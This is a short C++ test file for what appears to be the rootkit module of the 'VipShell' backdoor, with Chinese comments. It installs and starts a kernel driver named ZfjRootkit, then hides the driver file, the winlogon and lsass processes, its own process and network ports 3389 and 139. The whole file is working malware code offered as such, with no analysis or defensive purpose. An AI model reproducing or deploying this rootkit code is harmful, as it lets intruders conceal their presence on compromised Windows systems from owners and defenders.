wintest.cpp

VipShell驱动隐藏模块

#include "PinboardInterface.h"
#include <tchar.h>
#include <TLHELP32.H>
#include <Psapi.h>
#pragma comment (lib, "Psapi.lib")

DWORD GetProcessIdByName(LPCTSTR szName)
{
	DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof( PROCESSENTRY32 );
    Process32First( hSnapshot, &pe32 );
    do
	{

		if ( _tcsicmp(pe32.szExeFile, szName) == 0)
		{
			dwRet = pe32.th32ProcessID;
			break;
		}


    } while ( Process32Next( hSnapshot, &pe32 ) );
    CloseHandle( hSnapshot );
	return dwRet;
}

void main()
{
	CPinboardPtr<I_RootKitModule> spRootKitModule = CreatePinboardInstance(RootKitModule);
	spRootKitModule->Test();   //测试接口
	spRootKitModule->CreateDriver("c:\\__ZHF__ROORKIT.SYS", "ZfjRootkit");
	spRootKitModule->StartDriver();  //启动驱动
	spRootKitModule->AddHideFile("__ZHF__roorkit.SYS"); //隐藏这个文件
	spRootKitModule->AddHideProcessId( GetProcessIdByName("WINLOGON.EXE")); //隐藏WINLOGON.EXE 进程
	spRootKitModule->AddHideProcessId( GetProcessIdByName("lsass.EXE")); //隐藏lass.EXE 进程
	spRootKitModule->AddHideProcessId( GetCurrentProcessId() ); //隐藏自己的 进程
	spRootKitModule->AddHidePort(3389);  //隐藏3389
	spRootKitModule->AddHidePort(139);  //隐藏139
	spRootKitModule->StartHideFile();  //开始隐藏文件
	spRootKitModule->StartHidePort();  //开始隐port
	spRootKitModule->StartHideProcess();  //隐藏进程
}